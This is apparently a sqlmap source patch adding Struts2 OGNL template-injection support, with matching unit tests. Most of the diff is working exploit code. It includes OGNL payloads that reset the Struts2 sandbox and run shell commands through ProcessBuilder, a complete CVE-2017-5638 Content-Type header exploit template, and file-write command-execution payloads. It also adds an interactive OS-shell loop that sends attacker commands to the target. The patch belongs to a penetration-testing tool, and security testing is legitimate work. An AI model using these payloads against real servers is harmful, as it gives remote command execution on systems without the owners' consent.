From b38eb79ed051b8bdabb449dd89be1f584d057d5e Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Fri, 17 Jul 2026 09:56:32 +0200 Subject: [PATCH] Implementing support for Struts2 into --ssti --- lib/core/settings.py | 3 +- lib/techniques/ssti/inject.py | 132 +++++++++++++++++++++++++++++++--- tests/test_ssti.py | 53 ++++++++++++++ 3 files changed, 179 insertions(+), 9 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 66afa859a..d0f79826d 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.110" +VERSION = "1.10.7.111" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -1121,6 +1121,7 @@ SSTI_ERROR_SIGNATURES = ( ("Freemarker", r"freemarker\.(?:core|template|extract|cache)\.\w+|ParseException|InvalidReferenceException|TemplateException"), ("Velocity", r"org\.apache\.velocity\.(?:runtime|exception)\.\w+|ParseErrorException|MethodInvocationException|ResourceNotFoundException"), ("Spring EL / Thymeleaf", r"org\.springframework\.expression\.\w+|org\.thymeleaf\.\w+|SpelEvaluationException|TemplateProcessingException|ExpressionParsingException"), + ("Struts2 (OGNL)", r"ognl\.(?:OgnlException|NoSuchPropertyException|MethodFailedException|InappropriateExpressionException|ExpressionSyntaxException)|com\.opensymphony\.xwork2|org\.apache\.struts2|There is no Action mapped for|Struts (?:Problem Report|has detected an unhandled exception)"), ("ERB", r"\(erb\):\d+|NameError.*undefined local variable"), ("Pug/Jade", r"pug|jade|ParseError"), ("Handlebars", r"handlebars|Handlebars|Parse error on line"), diff --git a/lib/techniques/ssti/inject.py b/lib/techniques/ssti/inject.py index d518ca1b8..c62cb2af5 100644 --- a/lib/techniques/ssti/inject.py +++ b/lib/techniques/ssti/inject.py @@ -18,10 +18,12 @@ from lib.core.convert import getUnicode from lib.core.data import conf from lib.core.data import logger from lib.core.enums import CUSTOM_LOGGING +from lib.core.enums import HTTP_HEADER from lib.core.enums import PLACE from lib.core.settings import SSTI_ERROR_SIGNATURES from lib.core.settings import UPPER_RATIO_BOUND from lib.request.connect import Connect as Request +from thirdparty.six.moves.urllib.parse import quote as _quote SSTI_PLACES = (PLACE.GET, PLACE.POST, PLACE.COOKIE, PLACE.CUSTOM_POST) @@ -164,6 +166,18 @@ _ENGINE_TABLE = ( (("${new java.io.BufferedReader(new java.io.InputStreamReader(T(java.lang.Runtime).getRuntime().exec('{CMD}').getInputStream())).readLine()}", "SpEL readLine (output)"), ("${T(java.lang.Runtime).getRuntime().exec('{CMD}')}", "T(Runtime).exec (blind)"), ("${(#rt=@java.lang.Runtime@getRuntime()).exec('{CMD}')}", "OGNL @Runtime@getRuntime (blind)"))), + Engine("Struts2 (OGNL)", "java", + "%{", "}", + r"(?i)(?:ognl\.(?:OgnlException|NoSuchPropertyException|MethodFailedException|InappropriateExpressionException|ExpressionSyntaxException)|com\.opensymphony\.xwork2|There is no Action mapped for|Struts (?:Problem Report|has detected an unhandled exception)|InaccessibleObjectException)", + ("%{", "%{}", "%{1/0}"), + "%{%d*%d}", "", + "%{true}", "%{false}", "true", "false", + None, None, # '%{' is unique in the table -> arithmetic proof alone names Struts2 OGNL + "%{%s}", + # Struts2 OGNL: modern chain resets the sandbox (#_memberAccess) then reads the process + # stdout in-band; the legacy @Runtime@ form is a blind fallback for old (pre-sandbox) Struts. + (("%{(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#p=new java.lang.ProcessBuilder(new java.lang.String[]{'/bin/sh','-c','{CMD}'})).(#p.redirectErrorStream(true)).(#pr=#p.start()).(#sc=new java.util.Scanner(#pr.getInputStream()).useDelimiter('\\\\A')).(#sc.hasNext()?#sc.next():'')}", "memberAccess reset + ProcessBuilder (output)"), + ("%{(#a=@java.lang.Runtime@getRuntime().exec('{CMD}'))}", "@Runtime@getRuntime (blind, legacy)"))), # -- Ruby --------------------------------------------------------------------------------------------- Engine("ERB", "ruby", "<%=", "%>", @@ -250,7 +264,10 @@ def _send(place, parameter, value): time.sleep(conf.delay) old_params = conf.parameters.get(place, "") - conf.parameters[place] = _replaceSegment(place, parameter, value) + # URL-encode the injected value so payload metacharacters survive on the wire: '%' (OGNL/ERB + # delimiters, e.g. Struts2 '%{...}'), '#' (OGNL context vars / fragment delimiter), and '&'/'='/ + # space would otherwise be mangled or split by the server before the template ever sees them. + conf.parameters[place] = _replaceSegment(place, parameter, _quote(value, safe="")) try: kwargs = {"raise404": False, "silent": True} @@ -587,6 +604,26 @@ def sstiScan(): debugMsg += "switches (--banner, --dbs, --tables, --users, --sql-query) are ignored" logger.debug(debugMsg) + # CVE-2017-5638 (S2-045): OGNL via the Content-Type header - a distinct, non-reflected Struts2 + # vector that needs no request parameter, so it is probed once up front. + if _probeStruts2Header(conf.url): + logger.info("%s header is vulnerable to SSTI (back-end: 'Struts2 (OGNL)', CVE-2017-5638)" % HTTP_HEADER.CONTENT_TYPE) + if conf.beep: + beep() + report = ("---\nParameter: %s ((custom) HEADER)\n Type: SSTI\n" + " Title: Struts2 OGNL injection via Content-Type header (CVE-2017-5638)\n" + " Payload: %s: %%{(#_memberAccess=...).(...)}\n---" % (HTTP_HEADER.CONTENT_TYPE, HTTP_HEADER.CONTENT_TYPE)) + conf.dumper.singleString(report) + if not any(conf.get(_) for _ in ("osCmd", "osShell")): + logger.info("the back-end 'Struts2 (OGNL)' allows OS command execution via this injection; " + "you are advised to try '--os-shell' (interactive) or '--os-cmd=' (single command)") + if conf.get("osCmd"): + _dumpS2045(conf.url, conf.osCmd) + if conf.get("osShell"): + _osShell(lambda cmd: _dumpS2045(conf.url, cmd)) + logger.info("SSTI scan complete") + return + if not conf.paramDict: logger.error("no request parameters to test (use --data, GET params, or similar)") return @@ -641,7 +678,6 @@ def sstiScan(): if found: slot = found[0] place, parameter, engine, evidence = slot - from lib.core.common import readInput wantsTakeover = any(conf.get(_) for _ in ("osCmd", "osShell")) @@ -664,12 +700,7 @@ def sstiScan(): # Interactive shell runs even under --batch (mirrors the SQL --os-shell, which # reads commands straight from the terminal); EOF / 'exit' / 'quit' leaves it. if conf.get("osShell"): - logger.info("calling SSTI OS shell. Enter commands or 'exit'/'quit' to leave") - while True: - cmd = readInput("os-shell> ", checkBatch=False) - if not cmd or cmd.strip().lower() in ("exit", "quit"): - break - _executeCommand(place, parameter, engine, cmd.strip()) + _osShell(lambda cmd: _executeCommand(place, parameter, engine, cmd)) logger.info("SSTI scan complete") @@ -701,6 +732,10 @@ _FILE_RCE = { "${new ProcessBuilder(new String[]{'/bin/sh','-c','{CMD} > {OUTFILE}'}).start()}", "${new String(T(java.nio.file.Files).readAllBytes(T(java.nio.file.Paths).get('{OUTFILE}')))}", ), + "Struts2 (OGNL)": ( + "%{(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#p=new java.lang.ProcessBuilder(new java.lang.String[]{'/bin/sh','-c','{CMD} > {OUTFILE} 2>&1'})).(#p.start())}", + "%{(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(new java.lang.String(@java.nio.file.Files@readAllBytes(new java.io.File('{OUTFILE}').toPath())))}", + ), } @@ -732,6 +767,12 @@ def _commandOutput(page, baseline, original, payload, engine): if output and output in payload: return None + # A bare Process-object toString ("Process[pid=..]" on JDK9+, "java.lang.UNIXProcess@.."/"ProcessImpl@.." + # on JDK8) means the command RAN but its stdout was never captured (a blind exec) - not real output, + # so reject it and let the caller fall through to the file-based capture (_FILE_RCE). + if output and re.search(r"Process\[pid=|(?:UNIXProcess|ProcessImpl|Process)@[0-9a-f]", output): + return None + if output and _ratio(output, baseText) < UPPER_RATIO_BOUND: if output != baseText.strip() and not (baseText and baseText.replace(original, "").strip() == output): return output @@ -808,3 +849,78 @@ def _executeCommand(place, parameter, engine, cmd): return logger.warning("no output received for OS command '%s'" % cmd) + + +def _osShell(execFn): + """Shared interactive OS-shell loop (runs under --batch like the SQL one). execFn(cmd) runs and + reports a single command. EOF / 'exit' / 'quit' leaves.""" + from lib.core.common import readInput + logger.info("calling SSTI OS shell. Enter commands or 'exit'/'quit' to leave") + while True: + cmd = readInput("os-shell> ", checkBatch=False) + if not cmd or cmd.strip().lower() in ("exit", "quit"): + break + execFn(cmd.strip()) + + +# CVE-2017-5638 (S2-045): OGNL injection via the Content-Type header of a Jakarta-multipart Struts2 +# action - a distinct vector from the parameter one: the Content-Type is NOT reflected, so the payload +# writes its result straight to the HTTP response. The prefix resets OGNL member access and clears the +# excluded classes/packages (the modern-Struts2 sandbox); {ACTION} prints a marker (detection) or runs +# a command and copies its stdout to the response (exploitation). +_S2045_TEMPLATE = ("%{(#nike='multipart/form-data')." + "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)." + "(#_memberAccess?(#_memberAccess=#dm):" + "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])." + "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))." + "(#ognlUtil.getExcludedPackageNames().clear())." + "(#ognlUtil.getExcludedClasses().clear())." + "(#context.setMemberAccess(#dm))))." + "(#resp=@org.apache.struts2.ServletActionContext@getResponse())." + "{ACTION}}") + + +def _s2045Send(url, action): + """Send one request carrying the S2-045 Content-Type payload ({ACTION} substituted in).""" + payload = _S2045_TEMPLATE.replace("{ACTION}", action) + try: + page, _, _ = Request.getPage(url=url, auxHeaders={HTTP_HEADER.CONTENT_TYPE: payload}, + raise404=False, silent=True) + return getUnicode(page or "") + except Exception as ex: + logger.debug("S2-045 Content-Type probe failed: %s" % getUnicode(ex)) + return "" + + +def _probeStruts2Header(url): + """Detect CVE-2017-5638 benignly: print a random marker to the response via OGNL (no command + execution) and confirm it echoes back. Returns the marker on success, else None.""" + marker = randomStr(length=16, lowercase=True) + action = "(#w=#resp.getWriter()).(#w.print('%s')).(#w.flush())" % marker + page = _s2045Send(url, action) + return marker if (page and marker in page) else None + + +def _executeStruts2Header(url, cmd): + """Run an OS command through the S2-045 Content-Type vector and return its stdout. The output is + bracketed by random markers (echoed by the shell) so it slices cleanly out of a response that also + carries the action's own HTML.""" + start, end = randomStr(length=10, lowercase=True), randomStr(length=10, lowercase=True) + wrapped = "echo %s; %s 2>&1; echo %s" % (start, cmd, end) + action = ("(#p=new java.lang.ProcessBuilder(new java.lang.String[]{'/bin/sh','-c','%s'}))." + "(#p.redirectErrorStream(true)).(#pr=#p.start())." + "(@org.apache.commons.io.IOUtils@copy(#pr.getInputStream(),#resp.getOutputStream()))." + "(#resp.getOutputStream().flush())") % _escapeSingleQuoted(wrapped) + page = _s2045Send(url, action) + if start in page and end in page: + return page.split(start, 1)[-1].split(end, 1)[0].strip("\r\n") + return None + + +def _dumpS2045(url, cmd): + """Run one command via the S2-045 vector and report its output (or a no-output warning).""" + output = _executeStruts2Header(url, cmd) + if output is not None: + conf.dumper.singleString("\nos-shell (%s) [S2-045 Content-Type]:\n%s" % (cmd, output)) + else: + logger.warning("no output received for OS command '%s'" % cmd) diff --git a/tests/test_ssti.py b/tests/test_ssti.py index 2a05ddd3c..5ba345468 100644 --- a/tests/test_ssti.py +++ b/tests/test_ssti.py @@ -87,6 +87,20 @@ class TestArithmeticDetection(unittest.TestCase): ssti._send = mock self.assertTrue(ssti._probeArithmetic("GET", "q", engine)) + def test_struts2_ognl_arithmetic_control_pair(self): + # Struts2 evaluates '%{expr}' (OGNL) and reflects it in the redisplayed field value + engine = [e for e in ssti._ENGINE_TABLE if e.name == "Struts2 (OGNL)"][0] + + def mock(place, parameter, value): + import re + m = re.search(r"%\{(\d+)\*(\d+)\}", value) + if m: + return 'name="username" value="%d"' % (int(m.group(1)) * int(m.group(2))) + return 'name="username" value="%s"' % value + + ssti._send = mock + self.assertTrue(ssti._probeArithmetic("GET", "q", engine)) + def test_arithmetic_requires_both_results_correct(self): engine = ssti._ENGINE_TABLE[0] @@ -613,3 +627,42 @@ class TestFileBasedRce(unittest.TestCase): ssti._executeCommand("GET", "q", engine, "id") self.assertTrue(any("uid=0(root)" in _ for _ in self.captured), msg="two-step file-based RCE did not surface command output: %r" % self.captured) + + +class TestStruts2Header(unittest.TestCase): + """CVE-2017-5638 (S2-045): OGNL via the Content-Type header. The vector is not reflected, so + detection prints a marker to the response and RCE brackets stdout with markers to slice it out.""" + + def setUp(self): + self._s2045Send = ssti._s2045Send + + def tearDown(self): + ssti._s2045Send = self._s2045Send + + def test_struts2_wired_for_file_rce(self): + self.assertIn("Struts2 (OGNL)", ssti._FILE_RCE) # modern-JDK file-based fallback wired + + def test_s2045_detection_marker_echo(self): + import re + # a vulnerable Struts2 evaluates the OGNL and writes the printed marker into the response + def mock(url, action): + m = re.search(r"#w\.print\('([a-z0-9]+)'\)", action) + return " %s " % m.group(1) if m else "" + ssti._s2045Send = mock + self.assertIsNotNone(ssti._probeStruts2Header("http://target")) + + def test_s2045_not_vulnerable(self): + ssti._s2045Send = lambda url, action: "ordinary Struts page, no eval" + self.assertIsNone(ssti._probeStruts2Header("http://target")) + + def test_s2045_command_output_sliced_from_markers(self): + # the shell echoes start/end markers around stdout; the response also carries the action HTML + def mock(url, action): + m = re.search(r"echo ([a-z0-9]+); .* 2>&1; echo ([a-z0-9]+)", action) + if not m: + return "" + start, end = m.group(1), m.group(2) + return "%s\nuid=0(root) gid=0(root)\n%s" % (start, end) + import re + ssti._s2045Send = mock + self.assertEqual(ssti._executeStruts2Header("http://target", "id"), "uid=0(root) gid=0(root)")